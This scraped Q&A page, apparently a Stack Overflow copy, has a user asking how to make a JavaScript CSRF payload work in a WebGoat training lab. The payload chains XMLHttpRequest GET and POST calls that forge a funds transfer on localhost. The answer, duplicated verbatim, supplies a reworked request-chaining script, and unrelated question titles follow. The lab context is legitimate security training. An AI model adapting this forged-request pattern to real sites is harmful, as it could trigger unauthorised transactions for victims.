JavaScript's XMLHttpRequest

Question

JavaScript's XMLHttpRequest

My attempt to bypass the WebGoat prompt involved using a combination of javascript code with XMLHttpRequest to send multiple requests, one using GET and the other using POST. The code snippet is as follows:

<script>
  var req1 = new XMLHttpRequest();
  req1.onreadystatechange = function() {

    if (req1.readyState == 4 && req1.status == 200) {

      req2 = new XMLHttpRequest();
      req2.open("POST", "http://localhost:8080/WebGoat/attack?Screen=32&menu=900", false);
      req2.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); // needs to be specified for POST requests
      req2.send("transferFunds=CONFIRM");

    }

  };
  req1.open("GET", "http://localhost:8080/WebGoat/attack?Screen=32&menu=900&transferFunds=4000", false);
  req1.send();
</script>

Upon saving this code as an HTML file and opening it, no requests other than the initial GET request with status 302 are being made. How can I modify this code to ensure its successful execution? Browser used: Firefox 40.0.3 WebGoat Version: 6.0.1

javascript

Answer 1

Answer №1

If you're looking to improve efficiency, consider chaining requests together.

The process involves executing the first request and then proceeding to the next only if the callback function returns a status of 200 (OK).

An example has been provided below:

(function() {


  // Custom implementation of XMLHttpRequest object for handling requests.
  function sendServer(options) {
    var newXHR = new XMLHttpRequest() || new ActiveXObject("Microsoft.XMLHTTP");
    options.async = true;
    options.contentType = options.contentType || "application/x-www-form-urlencoded";
    newXHR.open(options.type, options.url, options.async || true);
    newXHR.setRequestHeader("Content-Type", options.contentType);
    newXHR.send((options.type == "POST") ? options.data : null);
    newXHR.onreadystatechange = options.callback;
    return newXHR;
  }



  // Usage:

  // First request: GET
  sendServer({
    type: "GET",
    url: "http://localhost:8080/WebGoat/attack?Screen=32&menu=900&transferFunds=4000",
    data: null,
    async: false,
    callback: function(xhr) {
      if (xhr.target.readyState === 4 && xhr.target.status === 200) {

        // Second request: POST
        sendServer({
          type: "POST",
          url: "http://localhost:8080/WebGoat/attack?Screen=32&menu=900",
          data: "transferFunds=CONFIRM",
          async: false,
          callback: function(xhr) {
            if (xhr.target.readyState === 4 && xhr.target.status === 200) {
              console.log(xhr.target.responseText); // Check the response.
            }
          }
        });
      }
    }
  });



})();

For further details, see the reference link: http://jsfiddle.net/dannyjhonston/jppz5nk3/1/

Answer 2

If you're looking to improve efficiency, consider chaining requests together.

The process involves executing the first request and then proceeding to the next only if the callback function returns a status of 200 (OK).

An example has been provided below:

(function() {


  // Custom implementation of XMLHttpRequest object for handling requests.
  function sendServer(options) {
    var newXHR = new XMLHttpRequest() || new ActiveXObject("Microsoft.XMLHTTP");
    options.async = true;
    options.contentType = options.contentType || "application/x-www-form-urlencoded";
    newXHR.open(options.type, options.url, options.async || true);
    newXHR.setRequestHeader("Content-Type", options.contentType);
    newXHR.send((options.type == "POST") ? options.data : null);
    newXHR.onreadystatechange = options.callback;
    return newXHR;
  }



  // Usage:

  // First request: GET
  sendServer({
    type: "GET",
    url: "http://localhost:8080/WebGoat/attack?Screen=32&menu=900&transferFunds=4000",
    data: null,
    async: false,
    callback: function(xhr) {
      if (xhr.target.readyState === 4 && xhr.target.status === 200) {

        // Second request: POST
        sendServer({
          type: "POST",
          url: "http://localhost:8080/WebGoat/attack?Screen=32&menu=900",
          data: "transferFunds=CONFIRM",
          async: false,
          callback: function(xhr) {
            if (xhr.target.readyState === 4 && xhr.target.status === 200) {
              console.log(xhr.target.responseText); // Check the response.
            }
          }
        });
      }
    }
  });



})();

For further details, see the reference link: http://jsfiddle.net/dannyjhonston/jppz5nk3/1/

JavaScript's XMLHttpRequest

Answer №1

Similar questions

Turn an existing string into a new string where each character is changed to an asterisk, and spaces remain as spaces

What is the best way to utilize a color picker to apply CSS color to a parent element?

What are the different methods for completing a form?

Using a single function to generate multiple instances of a table in JavaScript

Text input in Bootstrap not reaching full width

What is the best way to display a component based on the route using GatsbyJS?

a single line within a compartment

Confirm the object received from the API and assign default values

Building a query in Javascript by utilizing object keys and values: a step-by-step guide

What's the process for assigning a webpack ChunkName in a Vue project?

Modifying properties within child components

How to show multiline error messages in Materials-UI TextField

Leverage Ajax to dynamically refresh content on a webpage by fetching data from a text file using PHP

Exiting or returning from a $scope function in AngularJS: a guide

Creating a duplicate of a Flex object in HTML without the need to reinitialize

Implementing relative pathing in front-end development while using ExpressJS for the back-end

Sending a form using an AngularJS dropdown menu

Issue with html2canvas image download in Firefox

Collaborating and monitoring data between controllers

Transforming BufferGeometry to Geometry using FBXLoader within the Three.js library